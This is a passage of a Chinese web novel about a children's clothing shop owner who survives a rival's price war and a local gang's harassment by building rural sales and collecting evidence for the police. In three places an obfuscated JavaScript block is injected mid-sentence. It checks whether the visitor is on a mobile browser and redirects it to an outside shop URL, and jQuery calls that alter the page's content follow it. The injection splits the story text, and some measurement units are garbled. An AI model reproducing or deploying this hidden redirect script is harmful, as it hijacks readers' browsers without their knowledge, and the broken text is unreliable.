“乡镇人太实在了!只要东西好,根本不怕贵——有个大爷还说,宁愿多花10块,也不让孙子穿扎皮肤的衣服!”
接下来一个月,王猛按集市时间排了行程:
每周二、五去李家庄,周一、四去王集镇,周三去刘村铺,周末回县城补货。
每个集市都能卖10-15件,乡镇渠道的销量很快占了店铺总销量的35%。有次他去王集镇,之前买过外套的大娘带着三个邻居来,说
“我们提前问了村支书,知道你今天来,特意等着呢”。
钱老西后来也注意到了乡镇市场,试着让店员推着装尾货的三轮车去赶集,可乡镇家长摸了摸布料,又看了看王猛的样品,都摇头走开:
“这布料太糙,不如笑笑家的软和。”
有次钱老西路过林凡的店,手里夹着刚买的烟,看见店里满是挑选衣服的顾客,眉头皱得能夹死蚊子;
还往店里瞥了两眼,看见墙上“乡镇集市同步供货”的牌子,脸色沉了沉,没说话就匆匆走了——
他终于明白,林凡没跟他拼低价,却用“让家长放心的品质、让顾客安心的服务、让乡镇能买到好货的渠道”,悄悄抢了他的市场。
半年后,林凡的“笑笑童装店”在县城开了分店,还在李家庄、王集镇找了两家杂货店当“代售点”,销量比钱老西的三家店加起来还高。
钱老西后来也尝试提升品质,把短袖涨到29元,可家长们已经不信任他的“低价口碑”,没人买账,最后只能关了一家店,缩减了规模。
这场县城童装战,最终证明:低价能抢一时的客流,却留不住长久的顾客;而真正能打动人心的,永远是“让
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607508|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
家长放心”的品质,和“让顾客安心”的服务。
不到一个月,渠道开拓的效果就像雨后春笋般冒了头——
县城老店原本每月营收稳定在820块,日均客流22人,卖出15件童装,大多是老街熟客反复光顾,新客占比不足10%;
可自从王猛每周三次去东河乡、西河乡赶集后,情况彻底变了。
王猛的自行车是三年前二手市场淘的,后架特意找铁匠焊了两层铁架,每层能码25件衣服,凌晨四点天还裹着墨色;
他就驮着50件纯棉童装(多是1-3岁尺码,乡镇宝妈最爱这个阶段的孩子穿纯棉,据他赶集时统计,这个尺码占乡镇销量的65%);
30双松口袜子出发,车把上还挂着个保温壶,装着张婶早上特意煮的玉米粥,粥里卧了个荷包蛋,是张婶特意加的:“小伙子跑集市冻得慌,吃点热的顶饿。”
乡镇集市早六点到十点的人流量能有2000多人,大多是周边李村、赵村的宝妈,她们攥着布口袋,蹲在摊位前翻衣服时,指尖划过林凡家的童装,都会下意识蹭两下——
比镇上钱老西杂货铺的化纤料子软和不止一点。
东河乡的秀莲是第一个回头客,第一次买了件浅蓝外套后,隔了三天就带了三个邻居来,其中一个叫桂英的宝妈,把衣服贴在脸颊试了试,抬头就说:
“这料子贴身穿不扎肉,我家妞妞上次穿化纤的总哭,贵五**也值!”
那天桂英不仅买了件粉色外套,还预定了两件加绒裤,说要给娘家侄子带。
据王猛的赶集账本统计,乡镇顾客的复购率高达55%,远高于县城平均的30%——
有位李家庄的奶奶,一个月内连来三次,每次都买两件,说
“村里好几个媳妇都让我帮忙代买,孩子穿了不闹皮肤痒”。
就这样,乡镇集市每月稳稳贡献210块营收,总营收一下冲到1030块。
更关键的是利润:
林凡家纯棉童装成本8块,卖12块,单件利润4块;
钱老西的仿品成本5块,卖11.5块,单件利润3.95块——别看只高5分钱,销量却从每月360件涨到620件,总利润也从205块跃至260块。
王猛攥着账本,指节都泛白了,账本上东河乡那页画满了蓝色对勾,每个对勾旁还标着日期和销量:“3号卖18件,5号卖22件”,他指着最下面的对勾说:
“凡子,你看这东河乡的对勾,我每次卖完都画一个,现在都快画满一页了!钱老西再降价,乡镇的人也认咱们的货!”
林凡却盯着账本上的数字没笑——他清楚,钱老西的低价围剿刚被顶住,另一场藏在暗处的威胁,才刚拉开序幕。
刀螂那伙人果然没打算善罢甘休。之前在店里掀货架,被林凡按在满是童装的地上磨了半分钟,胳膊肘蹭得通红,他们不敢再明着**,却玩起了阴损的招数。
那天早上七点,天刚蒙蒙亮,街灯还没熄,林凡和王猛推着自行车到店门口,隔着二十米就看见卷帘门上刺目的红——
是“黑店”两个歪歪扭扭的大字,用的是最便宜的防锈工业漆,罐子里还剩小半桶,就扔在门边,风一吹,刺鼻的甲醛味直往鼻子里钻,林凡刚吸了两口就觉得头晕;
王猛更是揉着鼻子咳嗽:“这味儿也太冲了!”油漆还溅了好几滴在旁边的白墙上,像没擦干净的血渍,黏在墙皮上结成硬壳。
王猛当时就炸了,撸起袖子就要扯卷帘门,林凡一把拉住他:“别碰!这漆没干,擦了反而会糊成一片。”
他转身跑向隔壁五金店,老板李叔递松节油时皱着眉提醒:
“这漆我认识,建材市场三块五一罐的劣等货,上次李记杂货铺被涂了这个,老板擦了半天;
手上掉了层皮,甲醛释放量0.372mg/m?0?6,超国标三倍(国标≤0.124mg/m?0?6),闻久了头疼,你可得戴手套!”
林凡没顾上,揣着松节油和钢丝球蹲在地上,指尖刚碰到漆就凉得打颤,钢丝球蹭过铁皮发出“刺啦”声;
红漆顺着门槽流到水泥地上,在晨光里泛着油腻的光,晒干后结成指甲盖厚的硬壳。
第四十三章:童装店的暖心纸条
路过的张婶停下脚步,手里还提着刚买的热豆浆,塑料袋都被热气熏出了水珠,她见状赶紧从兜里掏出副旧手套递过去:
“林凡,戴手套擦,别伤了手!这是谁干的缺德事?
前几天我还在你这买了件浅蓝小外套,我家孙子穿去幼儿园,老师都问在哪买的,说料子好!”
林凡抬头笑了笑,指尖的漆渣已经嵌进肉里,疼得他指尖发麻都没察觉:
“不知道,可能是小孩调皮吧。”
擦到九点多,卷帘门总算恢复了银灰色,可林凡的手被松节油浸得通红,指缝里的油漆渣像细小的沙粒,怎么抠都抠不干净,连指甲缝都染成了淡红色,用肥皂洗了三遍还是有印子。
王猛拿着热包子回来,是巷口张记的韭菜馅,还冒着热气,看见他的手,眼眶一下就红了:“凡子,这肯定是刀螂干的!上次他被你赶跑时,就放狠话‘你这破店再开下去,我让你连门都进不来’!”
林凡咬了口包子,嘴里却没什么味道——
韭菜的辛香混着松节油的刺鼻味,平时他最爱吃的馅,今天只觉得涩。
他咽下去才开口:“先报警,让警察来看看。”
他们去了派出所,接待的是张警官,四十多岁,眼角有淡淡的细纹,笑起来会堆出两道褶,桌上还放着没喝完的茉莉花茶,杯子里结着圈深褐色的茶垢。
听林凡说完情况,张警官拿上黑色相机跟着去店里,蹲在地上拍了门、墙面,连地上的漆渣都拍了特写,又让林凡和王猛坐在店门口的小马扎上做笔录。
他的笔录本纸页卷着边,上面记着前几家店的遭遇:
“3月15日,李记杂货铺卷闸门涂红漆,停业两天清理,损失营收500块;4月2日,王婶裁缝店后窗被砸,丢了两卷线,价值80块”。
最后他合上笔记本,语气带着无奈:
“这条老街近三个月已经有六家小店遭过类似骚扰,不是门上涂漆就是窗户被砸,都因为没装监控,抓不到人。
我们晚上会多派个人来这条街巡逻,十点到凌晨两点绕三圈,但你们自己也得留意,最好装个简易监控,几十块的就行,门口装一个能覆盖大半区域。”
林凡追问:
“之前刀螂他们在店里掀货架**,能不能并案查?”
张警官翻了翻之前的笔录,纸页发出“哗啦”声,摇了摇头:
“那次你们没受伤,货架也只是歪了,刀螂一口咬定是‘不小心碰的’,没证据没法立案。”
警察刚走没多久,刀螂就带着个矮个子同伙从巷口晃了出来。
刀螂穿了件洗得发白的蓝色夹克,领口还沾着油渍,像是前晚吃面条溅的,头发油腻地贴在头皮上,一缕一缕的;
嘴里叼着根没点燃的烟,烟屁股都捏皱了,隔着十几米就冲林凡狞笑,还伸出手指了指林凡,又指了指地下——那是明摆着要让他“低头认错”。
矮个子更过分,穿个灰色背心,胳膊上有块青色的胎记,从口袋里掏出个弹弓,是用自行车内胎做的皮筋,捡起地上的小石子比划着要打店铺的玻璃。
王猛气得浑身发抖,弯腰就要捡地上的砖头,那砖头是修马路时剩下的,边角还带着水泥,林凡却按住他的手,声音冷得像深秋的风:
“别理他们,进去开店,秀莲说今天要带邻居来买衣服,该来了。”
可骚扰并没有就此打住,接下来的几天,怪事像串珠子似的接连发生。
笑笑亲手缝的布小熊吉祥物,原本放在门口的小桌子上招揽顾客,小熊坐在个粉色垫子上,每天林凡开门都会把它摆正。
早上开门时却没了踪影。
那是笑笑花了三个周末缝的,粉色毛线是她攒了半年零花钱买的——每天存5毛钱,存了90块,最后花85块买了两团毛线,剩下的5块买了颗橘子糖塞给林凡;
黑色眼睛是从外婆旧棉袄上拆下来的纽扣,上面还留着线头;小熊肚子上还绣了个歪歪扭扭的“凡”字——
那是她刚学会写的爸爸的名字,绣的时候扎了三次手,指尖贴了三个小创可贴,还跟林凡炫耀“爸爸你看,我不怕疼”。
林凡找遍了整条街的垃圾桶、墙角,连钱老西店铺的后巷都去了,最后只在巷口的排水沟里看到一小块粉色毛线,上面还沾着泥水印。
晚上笑笑洗完澡,穿着粉色小睡衣,抱着林凡的脖子哭:
“爸爸,小熊是不是被坏人拿走了?它会不会冷呀?它没有被子盖……”
林凡没敢告诉她实话,连夜找出家里仅剩的蓝色毛线,坐在店里的小凳子上缝了个新的——比之前的大一圈,还在耳朵上缝了个小铃铛,摇一摇就“叮铃”响。
缝到凌晨一点,指尖被针扎了个小血点,他悄悄舔掉,把小熊放在笑笑枕头边。
第二天早上,笑笑醒来看到新小熊,眼睛一下亮了,抱着小熊摇了摇,铃铛响起来,她凑到林凡耳边小声说:
“爸爸,小熊会唱歌啦,它不生气了对不对?”林凡揉了揉她的头发,心里却酸得厉害。
有天下午,三个半大的孩子突然冲进店里,最大的也就十一岁,穿洗得发白的校服,袖口磨破了边;
最小的看着才八岁,流着鼻涕,手里攥着个皱巴巴的五毛钱,他们故意撞翻货架上的袜子,五颜六色的袜子撒了一地,有小熊图案的、条纹的,还边跑边喊:
“黑店的东西不能要!谁买谁倒霉!”
林凡伸手想拦,孩子们已经跑出了店门,最小的那个鞋都跑掉了一只,是塑料凉鞋,鞋底裂了个缝,林凡捡起来想追,孩子已经没影了。
后来隔壁修鞋的老王偷偷拉着林凡说:
“我昨天看见刀螂在小卖部堵他们,给五毛钱就让来捣乱,还说‘要是被抓了就说是自己玩的,没人会怪小孩’。
那五毛钱还是皱巴巴的,像是从裤兜里揉了好久的。”
林凡听了没生气,反而让王猛下次再看到孩子,就从抽屉里拿水果硬糖:
“糖是橘子味的,孩子可能没吃过。别让他们觉得捣乱能换钱,得让他们知道好东西是什么样的。”
没过两天,那个丢鞋的小男孩又路过店门口,偷偷往里面看,王猛看见后,拿了颗糖和修好的凉鞋递过去,小男孩愣了愣,接过东西就跑,没跑两步又回头,小声说了句“谢谢”。
最吓人的是一天晚上,林凡关店后刚走到巷口,就听见“啪”的一声脆响,像玻璃被石头砸中的声音,回头一看,店铺的玻璃窗上裂了一道缝——
是弹弓打的,一块鸡蛋大小的鹅卵石还落在柜台里,把叠好的黄色童装外套砸出了个硬币大小的坑,布料都起了球。
那外套是秀莲前一天预定的,说要给女儿穿去参加幼儿园的表演。林凡赶紧给张警官打电话,张警官来查了半天,用手电筒照了照柜台和窗户,光束里飘着细小的灰尘,叹了口气:
“这附近的拐角都是盲区,没监控,石子上也没指纹,没法查。你要么先找块木板把窗户钉上,晚上别待太晚,九点就关店吧。”
林凡摸着那件被砸的外套,心里像被揪了一下——
他赶紧找出同款式的黄色面料,连夜缝了件新的,缝到凌晨两点,手指被针扎了好几次,终于赶在第二天早上开门前做好,没耽误秀莲来取货。
更让林凡揪心的是,这些骚扰开始像潮水般影响生意。
原来县城店每天能有22个顾客,周末能卖35件货,柜台上的零钱盒每天都能装满,硬币堆得快溢出来;
可现在每天只剩13个顾客,大多是熟客硬着头皮来的,周末销量也降到了18件左右,每周营收比之前少了180块。
有次李姐来买衣服,刚进门就看见刀螂的人在对面墙根晃,手插在兜里盯着店门,她犹豫了一下,手里的粉色童装又放了回去,声音压得很低:
“林凡,我下次再来吧,我家孩子在家等着,这阵仗有点吓人,怕吓着孩子。”
连平时最常来的刘叔也没再来——
王猛在集市上碰到刘叔的儿子,才知道刘叔上次来店里,刚进门就被刀螂的人拦了一下,虽然没动手,但刘叔年纪大了,吓得心口疼,之后就不敢再来了。
店里的气氛也越来越压抑,王猛算账时总走神,好几次把东河乡的营收“18块”写成“81块”,又赶紧涂掉,纸上留下黑乎乎的印子。
有天晚上盘点库存,王猛看着货架上没卖出去的童装,小声说:“凡子,要不咱们先歇几天?等这阵风头过了再开?”
林凡摇了摇头——
他知道,一旦歇业,之前攒下的口碑就没了,乡镇的顾客也会转去买钱老西的货。
那天晚上,笑笑洗完澡,穿着粉色睡衣,搂着林凡的脖子,小脑袋靠在他肩膀上,头发还带着洗发水的香味,小声问:
“爸爸,为什么总有坏叔叔在店外面?他们是不是要欺负你呀?我昨天听见他们说‘让爸爸开不了店’……”
林凡的心像被针扎了一下,疼得厉害。
他低头看着女儿亮晶晶的眼睛,能清楚地看到自己的影子——
之前他总跟笑笑说“爸爸会保护你,保护咱们的店”,可现在连让她在店里安心待着都
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607509|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
做不到。他紧紧抱住笑笑,用下巴蹭了蹭她柔软的头发,声音放得特别柔:
“笑笑不怕,那些叔叔是调皮鬼,警察叔叔已经在说他们了。明天爸爸带你去公园放风筝,咱们放那个大蝴蝶的,就是你上次在集市上指的那个,好不好?”
笑笑点点头,靠在他怀里慢慢睡着了,小手还攥着他的衣角,像抓着什么宝贝,呼吸均匀地落在他脖子上。
等笑笑睡熟,林凡悄悄走到客厅,点了根烟——是两块五一包的“红山茶”,他平时不怎么抽,只有心烦的时候才拿出来。
烟雾缭绕中,他看着墙上挂的账本,心里像翻江倒海似的:报警没用,硬碰硬又怕连累笑笑,难道就这么忍下去?
他想起之前去工商所办执照时,刘科长说的话——“市场上的仿品可以查,只要有实物和进货证据就能立案,但治安问题得靠派出所配合,我们管不了”;
又想起张警官说的
“要抓现行才能立案,要么有监控拍到,要么有人证”。
突然,一个念头冒了出来:
或许可以先找刘科长查钱老西的仿品,断了钱老西的财路,再跟张警官配合蹲点抓刀螂?
正想着,他又想起前几天老王修鞋时说的话——
钱老西之前找过刀螂,给了两百块让他骚扰林凡,可后来刀螂觉得钱少,要再加一百块,钱老西不肯;
两人在巷口吵得差点动手,刀螂骂
“你这老东西抠门,这点钱还想让我办事”,
钱老西喊“你没办成事还想要钱”,最后刀螂气冲冲地走了,
还偷了钱老西铺子里的计算器——那计算器是钱老西儿子上大学时用的老式太阳能计算器;
数字键“5”掉了,用透明胶布粘着,钱老西特别宝贝,每天收摊都要擦一遍,因为儿子去外地工作后就没回来过,他留着当念想。
老王看到刀螂偷的时候,是在巷口的阴影里,刀螂把计算器揣进夹克内兜,还回头看了看,老王赶紧躲进修鞋铺,连手里的鞋钉都掉了。
第二天一早,林凡就去找老王,老王犹豫了半天,终于从修鞋箱的最底层翻出那个计算器——是他前晚趁刀螂不在,偷偷从他常待的墙根下捡的,计算器上还沾着灰。
“凡子,这计算器你拿着,上面肯定有刀螂的指纹,上次他偷的时候,我看得清楚,就他一个人碰过。”
林凡接过计算器,心里亮了一下:钱老西是为了赚钱,怕林凡的童装抢他生意;刀螂是为了泄愤,还想要钱,他们根本不是一条心。
要是能让钱老西知道刀螂偷了他的宝贝计算器,再加上之前没办成事还加价,钱老西肯定会断了刀螂的资助。
他还特意去了趟工商所,找到刘科长。刘科长翻着林凡带的仿品童装(标签仿“凡氏童装”写成“林氏童装”,料子粗糙,线头没剪干净);
又看了老王拍的钱老西进仿品的照片(照片有点模糊,但能看清钱老西从一辆白色面包车接货,车牌号最后两位是“73”),说:
“要查仿品,还得有质检报告。你把这仿品送到县质检站,检测一下甲醛和纤维成分,要是不合格,我们就能上门查钱老西的进货渠道。”
林凡赶紧拿着仿品去质检站,三天后拿到报告:仿品甲醛含量0.21mg/m??,超国标70%,纤维成分里掺了30%的化纤,根本不是纯棉——这些都是实打实的证据。
那天下午,林凡把王猛叫到跟前,从抽屉里拿出一张纸条,上面用圆珠笔写着东河乡集市要带的货:
“小号童装30件(浅蓝、浅粉各15件),袜子20双(松口的,上次宝妈说勒脚),再带两件中号外套,秀莲说要给她侄子买”,
旁边还放着那个计算器和仿品质检报告。他的眼神里没有了之前的隐忍,多了几分坚定——接下来的每一步,都得走得稳、走得狠。
王猛看着他的眼睛,用力点了点头,把纸条叠好放进兜里,转身去收拾货物,动作比平时快了不少,连铁架上的衣服都码得格外整齐,还特意把那件连夜缝好的黄色外套放在最显眼的位置。
阳光透过窗户照进来,落在林凡手里的文件袋上——
里面装着仿品童装、质检报告、进货照片,还有老王写的证词,边角用胶布粘得牢固。
这一次,他要主动出击了,不再等麻烦找上门。
前有钱老西的商业围剿,后有刀螂的阴招不断,他就像走在钢丝上,
但他知道,为了笑笑,为了那些信任他的顾客,他必须在这场双线博弈里,杀出一条路来。
第四十四章:宝贝屋的抗扰记
持续的骚扰像阴湿的苔藓,黏腻地蔓延在“笑笑宝贝屋”的日常经营中。
这家开在城中村与商品房小区交界的母婴店,是周边3个小区600多户有娃家庭的“刚需店”,老板林凡和搭档王猛守了三年;
从奶粉辅食到玩具绘本,货架上的每样东西都选得格外用心。可自从上个月刀螂那伙人盯上这里,店里的暖光都像是蒙了灰。
每天下午三点多,这伙人准会晃进店里:
穿破洞牛仔裤的小混混阿力,总故意蹭过玩具货架,把进口木质拼图盒扫到地上;
那些拼图单块比指甲盖还小,散在货架缝里要蹲半小时才能捡全,有次还耽误了来买应急奶粉的宝妈,对方抱着哭到脸红的孩子,只能无奈去两公里外的超市;
染黄毛的小子阿辉,总靠在收银台旁嚼口香糖,对着进店的宝妈吹流氓哨,上周三更是对着刚搬来的张女士起哄“宝妈身材不错啊”;
吓得张女士抱着婴儿车转身就走,那单价值1200元的生意就这么黄了;最过分的是5月21号那天,刀螂亲自带着人来,把一瓶冰镇可乐直接倒进电子秤——
那台秤是店里的“核心工具”,不仅称辅食米粉、散装零食要靠它,连顾客自带的宝宝衣物干洗称重都得用,可乐渗进主板后,屏幕直接黑了屏。
当天林凡找维修师傅来修,对方说主板烧了要换配件,得等三天,结果光是没法称重的辅食区就少做了18单,加上被吓跑的2单玩具生意,营业额直接少了867块——
要知道,这家店旺季日均营业额才2200元,这一下就亏了近四成。
这伙人是附近“城中村安置区”的闲散人员,之前还骚扰过隔壁的“老李水果店”。
店主李叔今年62岁,儿子在外地打工,水果店是他唯一的收入来源。
上个月刀螂来要“保护费”,李叔不肯给,对方就抱起两箱刚到的红富士往地上摔——
那些苹果是他凌晨4点去批发市场拉的,一箱50斤,批发价就要320元,烂在地上的果肉黏着泥,李叔蹲在门口捡了半天,手指被烂果汁泡得发皱。
后来他报了警,可刀螂早带着人跑了,
警察调监控只拍到模糊背影,最后只能不了了之。
李叔怕再遭报复,之后见了刀螂一伙人,只能绕着走,连水果摊都往店里缩了半米。
刀螂这群人就像跗骨之蛆,虽不致命,却让林凡和王猛每天神经紧绷。
王猛是林凡的伙伴,为这个店全力以赴,以前看店时总笑眯眯的,现在却总失眠——
凌晨两三点还在店里转,反复拉拽卷帘门确认锁死,甚至在门口装了简易红外感应灯,只要有人靠近就会亮;
林凡则把原本计划扩张的5万元资金,全转进了活期账户——那笔钱本是用来租隔壁半间空铺,扩大玩具区的,现在却要留着应对“突发损失”。
店里的氛围更是差到极点,常来买绘本的陈阿姨上周偷偷拉着林凡问:
“你们是不是得罪人了?上次我来买尿不湿,那几个小子盯着我孙子看,吓得孩子直哭。”
林凡深知,被动防御只会让对方愈发猖狂。
他清楚记得第一次妥协的场景:5月8号那天,阿力打翻了一瓶进口婴儿果汁,橙黄色的液体流了一地,林凡怕麻烦,从收银台拿了30块钱给阿力,说“算了算了,你赶紧走”。
可阿力接过钱时还嘲讽:
“这点钱都赔不起,开什么母婴店?”
没过三天,店里就少了两个奥特曼玩具——
后来调监控才看到,是阿辉趁王猛整理货架时偷的。从那时起,林凡就明白:退一步不是**,是对方得寸进尺的借口,必须找到一柄能斩断乱麻的利刃。
这柄“利刃”,他决定从“规则”和“借力”中寻找。
硬碰硬显然是下策——
刀螂手下有五六个人,每天在城中村台球厅晃悠,听说之前还跟别的摊贩打过架;
王猛虽然身材壮实,能扛能搬,但真打起来,对方人多势众,万一伤了人,不仅要付医药费,还得给对方讹钱的理由。
他想起去年市场管理处组织的商户培训,工商所的刘科长说过的话:
“合法商户遇到骚扰,别自己扛,监管部门就是你们的后盾,要学会用政策和法律维护权益。”
当时刘科长还举了个例子,让林凡印象深刻:去年秋天,有个叫黑皮的混混在菜市场收保护费,每天早上堵在入口,逼着摊贩交20块“场地费”,不交就掀摊子。
卖豆腐的陈姨60岁了,每天凌晨3点起来磨豆腐,有天没交保护费,黑皮直接把她的豆腐筐踢翻,20多斤嫩豆腐摔在地上,全成了泥。
陈姨哭着找刘科长,刘科长立刻联合城管队蹲点——
他们连续三天早上5点就守在菜市场入口,终于在第三天抓住了正在收钱的黑皮。
最后不仅罚了黑皮5000块,还联合市场管理处加装了8个监控,整顿了菜市场的闲散人员,当时摊贩们凑钱做了面写着“秉公执法护民生,尽职尽责保秩序”的锦旗,送到了工商所。
正是这件事,让林凡确定刘科长对维护合法经营环境是真的有责任感——
现在要做的,就是找到一个合适的切入点,把刀螂团伙的“个人骚扰”,变成“破坏社区营商秩序的公共问题”。
机会很快来了。
5月29号周四下午三点十分,刀螂手下那个叫“瘦猴”的小混混又进了店。他穿着一件洗得发白的灰色运动外套,领口起了球,双手插在兜里,假装蹲在玩具区看遥控车。
林凡早有准备——
上个月店里丢了两次玩具后,他就花1200元装了4个高清监控,连货架缝隙都能拍清楚,还特意把监控连接到手机,能实时查看。
此时王猛正按照林凡的嘱咐,把手机调成录像模式揣在卫衣兜里,眼角余光一直盯着瘦猴。
果然,瘦猴趁王猛转身整理婴儿辅食货架时,迅速抓起一个蓝色四驱车——
那是店里刚到的新款,单价89元,包装上还贴着“2024新款”的标签——塞进外套内侧。
他动作太急,胳膊肘还碰掉了旁边的积木盒,塑料块撒了一地,可他连捡都没捡,转身就往门口走。
王猛悄悄绕到他身后,
等他的手刚碰到玻璃门把时,一把按住他的胳膊:
“兄弟,把东西拿出来吧。”
瘦猴还想狡辩:“你凭啥拦我?这是我自己带来的!”
王猛直接从店里拿出订货单,打开进货单——那是他早就做好的工作,每批货都有编号和到货日期,“你自己带来的?
这款蓝色四驱车的编号是SY20240528,我们今天早上才到的货,包装上的防伪码都没刮开,你自己带的货,能有我们店里的进货标识?”
说着,他轻轻一扯瘦猴的外套,那辆四驱车就掉了出来,塑料包装被压得变了形,标签还沾着外套上的绒毛。
这次,林凡没有像之前那样简单训斥了事。
他让王猛看住瘦猴——
瘦猴想挣扎,王猛一只手就把他的胳膊按在身后,原来车间里就是出力的王猛让瘦猴不敢再动——
自己则从柜台下拿出监控硬盘,又把四驱车装进证物袋,直接带着人往派出所走。
接待的张警官一看到他们就认出来了——
这半个月里,他们已经报了3次警:第一次是5月15号下午,瘦猴堵在店门口,不让买奶粉的李姐进店;
李姐的孩子才6个月,饿得直哭,林凡报警后,警察5分钟就到了,可瘦猴从后门跑了;
第二次是5月20号晚上,刀螂的另一个手下“光头”,故意用啤酒瓶砸烂了橱窗玻璃;
那玻璃是双层防爆的,换一块要380元,最后光头只赔了50块,还嘴硬说“玻璃自己炸的”,警察调解了半小时,也只能让对方赔这点钱;
第三次是5月25号,刀螂一伙人在“阳光花园”小区群里发假截图,说“笑笑宝贝屋的玩具含甲醛,有宝宝玩了过敏”,当天有5个预约上门的顾客取消了订单,林凡报警后,警察说“没有实质伤害,只能口头警告”。
所以这次,林凡坚持要求立案。
他把监控硬盘递给张警官,又拿出之前记录的损失清单:
“张警
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607510|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
官,这不是简单的偷窃。您看监控里,他们半个月来多次进店骚扰,打翻商品、恐吓顾客、造谣诋毁,现在还公然偷东西,已经严重影响我们的正常经营了——
这半个月,我们的营业额比上个月少了4200多块,老顾客都不敢来了。”
张警官看着监控里瘦猴偷东西的清晰画面,又翻了翻之前的报警记录,终于点了头:
“行,这次我们立案调查,会联系刀螂他们过来配合。”
从派出所出来,林凡第一时间给工商所的刘科长打了电话。电话接通后,他的语气沉重又带着无奈,却没只说自己的委屈:
“刘科长,实在不好意思又打扰您。我们‘笑笑宝贝屋’开了三年,一直本分经营,每个月都按时纳税,去年还被评为‘社区诚信商户’——
您那边的档案里应该能查到。可最近这一个月,总有一伙人三天两头来店里捣乱:之前打翻货架、打碎玻璃,我们都忍了,今天更是公然偷东西。
这半个月我们报了3次警,要么抓不到人,要么只给个警告,根本起不到作用。”
顿了顿,林凡特意提到了周边的情况:“您也知道,我们这条街是社区便民商业街,一共12家店,有3家餐饮店、2家便利店、1家文具店;
还有我们这家母婴店,服务的是‘阳光花园’‘幸福里’‘城中村安置区’近2000户居民,其中600多户有0-3岁的孩子,我们是这条街上唯一的母婴店。
现在因为这伙人的事,街角的‘小周文具店’已经贴了转让启事——店主小周是刚毕业的大学生,投资10万开的店,现在每天亏损200多,实在撑不下去了;
我隔壁的李叔,水果店之前被他们砸了两箱苹果,现在见了他们都绕着走。这样下去,不仅我们这些小店没法活,还得影响咱们整个街道的营商环境和形象啊!
您是主管领导,能不能帮我们想想办法?”
林凡的措辞很有技巧——
他把个人遭遇和“社区居民需求”“街道营商环境”绑在一起,这正好戳中了刘科长的职责范围。
刘科长在电话那头先是沉默了几秒,林凡还能听到他翻文件的沙沙声,接着就传来一声叹气,语气里带着明显的不悦:
“这些人真是屡教不改!之前就接到过两家店主的投诉,没想到还敢这么嚣张。小林,你那边先配合派出所把这次偷窃的材料做全,该盖章的盖章,该签字的签字。
维护市场秩序是我们的责任,这事我会跟所里的同事商量,也会跟派出所对接,肯定不会让你们合法商户受委屈。”
挂了电话,林凡看着手机里刘科长的通话记录,终于松了口气——他知道,第一步棋走对了。
但他也清楚,光靠一次投诉还不够,刘科长需要更充分的理由来介入整顿,比如能证明刀螂团伙“多次骚扰、破坏秩序”的实锤证据。
接下来,林凡从柜台下翻出一个新的监控硬盘,又拿出一个蓝色笔记本——
他开始有条理地收集证据:先把之前半个月的监控录像按“骚扰类型”分类,“破坏商品”类有5段,标注了时间、涉事人员和损失金额,比如5月21号刀螂倒可乐,损失867元;
“恐吓顾客”类有3段,包括吓跑张女士的记录;“偷窃未遂”类有2段,是之前瘦猴偷玩具没成功的画面。
然后,他在笔记本上写好“联名投诉信”的草稿,打算明天一早就去拜访李叔和小周——李叔已经答应提供之前被砸苹果的照片,小周也说可以附上自己的营业额亏损表,证明骚扰对商户的影响。
除此之外,林凡还打算每天记录店里的客流量和营业额:
比如5月29号当天,因为抓了瘦猴,客流量比前一天多了12人,营业额多了320元,这些数据能直观证明“打击骚扰对经营的积极影响”,也能让刘科长更有底气推动整顿。
夕阳透过橱窗照进来,落在货架上的拼图盒上,
林凡摸了摸那些木质拼图,突然觉得心里的石头轻了些——
他知道,对抗骚扰的路还没走完,但至少,他不再是被动挨打的那个了。
第四十五章:证据与抗衡
他特意把王猛叫到自己的杂货铺后间——
后间堆着半人高的卫生纸箱,箱角被压得有些变形,里面装的洗衣粉袋偶尔露出来,印着蓝白相间的图案,空气里飘着淡淡的皂角味,混着纸箱的纸浆气息;
踩着纸箱间窄窄的通道,鞋底蹭过地面散落的肥皂包装纸,发出窸窸窣窣的响。
他指着桌上摊开的硬壳笔记本,那本子封面磨得发毛,边角卷成了波浪,内页是浅蓝格子纸,第一页记的两行字歪歪扭扭,像刚学写字的孩子写的,墨水里还掺着点灰。
他一字一句地叮嘱,指腹按在格子上,指甲缝里嵌着浅灰色的货柜木屑,指腹上还留着搬洗衣粉纸箱磨出的红印子:
“你记仔细了,只要看到刀螂那伙人在我铺子附近晃悠——不管是往卷闸门上贴‘急用钱找刀哥’的放贷小广告,胶水粘得死紧,撕都撕不下来;
还是故意把门口的铁皮垃圾桶踢得滚出三米远,剩菜汤溅得台阶上到处都是,连墙角的青苔都泡成了黑绿色;
